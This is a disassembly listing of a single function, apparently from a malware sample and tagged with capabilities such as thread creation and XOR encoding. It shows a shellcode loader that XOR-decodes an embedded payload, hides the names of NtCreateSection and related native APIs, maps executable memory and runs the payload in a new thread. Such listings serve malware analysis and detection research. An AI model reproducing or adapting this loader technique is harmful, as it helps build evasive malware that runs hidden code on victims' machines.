Function at 0x401060
Capabilities:
Create thread
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
mov eax, 0x10e8
call fcn.0040e610
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0
call fcn.00404749
push eax
mov dword [ebp - 0x92c], edx
call fcn.00404601
add esp, 8
lea eax, [ebp - 0x190]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x190]
push 0x26
push eax
call fcn.00404695
add esp, 8
test eax, eax
je 0x4015f7
movups xmm0, xmmword [str.SDLJFHOPSDLK33K020DFHXMDGJGH44WDD6325KYDQWSRDFEF3WDFHSDGSDFH]
mov eax, dword [0x413d5c]
lea edi, [ebp - 0x10e0]
mov ecx, 0x1db
mov dword [ebp - 0x938], eax
mov al, byte [0x413d60]
mov esi, 0x413db0
rep movsd dword es:[edi], dword [esi]
movups xmmword [ebp - 0x970], xmm0
push 0x76e
movups xmm0, xmmword [0x413d34]
mov byte [ebp - 0x934], al
lea eax, [ebp - 0x900]
push 0
movups xmmword [ebp - 0x960], xmm0
push eax
movups xmm0, xmmword [0x413d44]
mov dword [ebp - 0x914], 0
movsw word es:[edi], word [esi]
movups xmmword [ebp - 0x950], xmm0
movq xmm0, qword [0x413d54]
movq qword [ebp - 0x940], xmm0
call fcn.004026a0
lea ecx, [ebp - 0x970]
add esp, 0xc
xor esi, esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401160
sub ecx, edx
mov dword [ebp - 0x91c], 5
mov dword [ebp - 0x924], 4
mov edi, 2
mov dword [ebp - 0x920], 3
nop dword [eax]
xor edx, edx
mov eax, esi
div ecx
movzx eax, byte [ebp + edx - 0x970]
xor edx, edx
xor al, byte [ebp + esi - 0x10e0]
mov byte [ebp + esi - 0x900], al
lea eax, [edi - 1]
div ecx
movzx eax, byte [ebp + edx - 0x970]
xor edx, edx
xor al, byte [ebp + esi - 0x10df]
mov byte [ebp + esi - 0x8ff], al
mov eax, edi
div ecx
movzx eax, byte [ebp + edx - 0x970]
xor al, byte [ebp + edi - 0x10e0]
add edi, 6
mov edx, dword [ebp - 0x920]
mov byte [ebp + edx - 0x901], al
mov eax, edx
xor edx, edx
div ecx
movzx eax, byte [ebp + edx - 0x970]
mov edx, dword [ebp - 0x920]
add dword [ebp - 0x920], 6
xor al, byte [ebp + edx - 0x10e0]
mov edx, dword [ebp - 0x924]
mov byte [ebp + edx - 0x901], al
mov eax, edx
xor edx, edx
div ecx
movzx eax, byte [ebp + edx - 0x970]
mov edx, dword [ebp - 0x924]
add dword [ebp - 0x924], 6
xor al, byte [ebp + edx - 0x10e0]
mov edx, dword [ebp - 0x91c]
mov byte [ebp + edx - 0x901], al
mov eax, edx
xor edx, edx
div ecx
movzx eax, byte [ebp + edx - 0x970]
mov edx, dword [ebp - 0x91c]
xor al, byte [ebp + edx - 0x10e0]
add edx, 6
mov byte [ebp + esi - 0x8fb], al
add esi, 6
mov dword [ebp - 0x91c], edx
cmp edi, 0x770
jb 0x401190
movups xmm0, xmmword [str.ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]
mov eax, dword [0x413d1c]
xor esi, esi
mov dword [ebp - 0x940], eax
mov al, byte [0x413d20]
movups xmmword [ebp - 0x960], xmm0
mov byte [ebp - 0x93c], al
lea edi, [esi + 0x24]
movups xmm0, xmmword [0x413d0c]
movups xmmword [ebp - 0x950], xmm0
nop dword [eax]
call fcn.004045e0
xor edx, edx
div edi
mov al, byte [ebp + edx - 0x960]
mov byte [ebp + esi - 0x84], al
inc esi
cmp esi, 0x20
jl 0x4012c0
push str.ntdll.dll
mov byte [ebp - 0x64], 0
mov dword [ebp - 0x904], 0x1000
mov dword [ebp - 0x90c], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x91c], eax
test eax, eax
je 0x40162c
movups xmm0, xmmword [str.NtCreateSection]
movzx eax, byte [0x413d92]
lea esi, [ebp - 0x84]
mov cx, word [0x413d90]
movups xmmword [ebp - 0x40], xmm0
mov byte [ebp - 0x1e], al
movups xmm0, xmmword [str.NtMapViewOfSection]
mov eax, dword [0x413da4]
mov dword [ebp - 0x50], eax
movzx eax, byte [0x413da8]
movups xmmword [ebp - 0x30], xmm0
mov word [ebp - 0x20], cx
lea ecx, [esi + 1]
movups xmm0, xmmword [str.NtUnmapViewOfSection]
mov byte [ebp - 0x4c], al
mov dword [ebp - 0xc], 0x6c43744e
movups xmmword [ebp - 0x60], xmm0
mov dword [ebp - 8], 0x65736f
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x401370
sub esi, ecx
lea ecx, [ebp - 0x40]
xor edi, edi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401381
sub ecx, edx
je 0x4013b4
nop dword [eax]
mov eax, edi
lea ecx, [ebp - 0x40]
cdq
idiv esi
mov al, byte [ebp + edx - 0x84]
lea edx, [ecx + 1]
xor byte [ebp + edi - 0x40], al
inc edi
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4013a7
sub ecx, edx
cmp edi, ecx
jb 0x401390
lea ecx, [ebp - 0x30]
xor edi, edi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4013c0
sub ecx, edx
je 0x4013f4
nop dword [eax + eax]
mov eax, edi
lea ecx, [ebp - 0x30]
cdq
idiv esi
mov al, byte [ebp + edx - 0x84]
lea edx, [ecx + 1]
xor byte [ebp + edi - 0x30], al
inc edi
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4013e7
sub ecx, edx
cmp edi, ecx
jb 0x4013d0
lea ecx, [ebp - 0x60]
xor edi, edi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401400
sub ecx, edx
je 0x401434
nop dword [eax + eax]
mov eax, edi
lea ecx, [ebp - 0x60]
cdq
idiv esi
mov al, byte [ebp + edx - 0x84]
lea edx, [ecx + 1]
xor byte [ebp + edi - 0x60], al
inc edi
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401427
sub ecx, edx
cmp edi, ecx
jb 0x401410
lea ecx, [ebp - 0xc]
xor edi, edi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401440
sub ecx, edx
je 0x401474
nop dword [eax + eax]
mov eax, edi
cdq
idiv esi
mov al, byte [ebp + edx - 0x84]
xor byte [ebp + edi - 0xc], al
lea eax, [ebp - 0xc]
inc edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401467
sub eax, edx
cmp edi, eax
jb 0x401450
lea edx, [ebp - 0x84]
lea ecx, [ebp - 0x40]
call section..text
lea edx, [ebp - 0x84]
lea ecx, [ebp - 0x30]
call section..text
lea edx, [ebp - 0x84]
lea ecx, [ebp - 0x60]
call section..text
lea edx, [ebp - 0x84]
lea ecx, [ebp - 0xc]
call section..text
mov edi, dword [ebp - 0x91c]
lea eax, [ebp - 0x40]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
push edi
call esi
mov dword [ebp - 0x92c], eax
lea eax, [ebp - 0x30]
push eax
push edi
call esi
mov dword [ebp - 0x924], eax
lea eax, [ebp - 0x60]
push eax
push edi
call esi
mov edi, eax
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x91c]
mov dword [ebp - 0x920], edi
call esi
mov esi, eax
mov eax, dword [ebp - 0x92c]
mov dword [ebp - 0x91c], esi
test eax, eax
je 0x40162c
cmp dword [ebp - 0x924], 0
je 0x40162c
test edi, edi
je 0x40162c
test esi, esi
je 0x40162c
push 0
push 0x8000000
push 0x40
lea ecx, [ebp - 0x910]
mov dword [ebp - 0x90c], 0
push ecx
push 0
push 0xe
lea ecx, [ebp - 0x918]
mov dword [ebp - 0x910], 0x1000
push ecx
call eax
test eax, eax
jne 0x40162c
push 0x40
push eax
push 1
lea eax, [ebp - 0x904]
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x914]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
push dword [ebp - 0x918]
call dword [ebp - 0x924]
test eax, eax
je 0x401596
push dword [ebp - 0x918]
call esi
jmp 0x40162c
mov edi, dword [ebp - 0x914]
lea esi, [ebp - 0x900]
mov ecx, 0x1db
rep movsd dword es:[edi], dword [esi]
push 0
push 0
push 0
movsw word es:[edi], word [esi]
push dword [ebp - 0x914]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x40160c
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x914]
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
push eax
call dword [ebp - 0x920]
push dword [ebp - 0x918]
call dword [ebp - 0x91c]
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401642
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push dword [ebp - 0x914]
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
push eax
call dword [ebp - 0x920]
push dword [ebp - 0x918]
call dword [ebp - 0x91c]
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
xor ecx, ebp
pop esi
call fcn.00401642
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret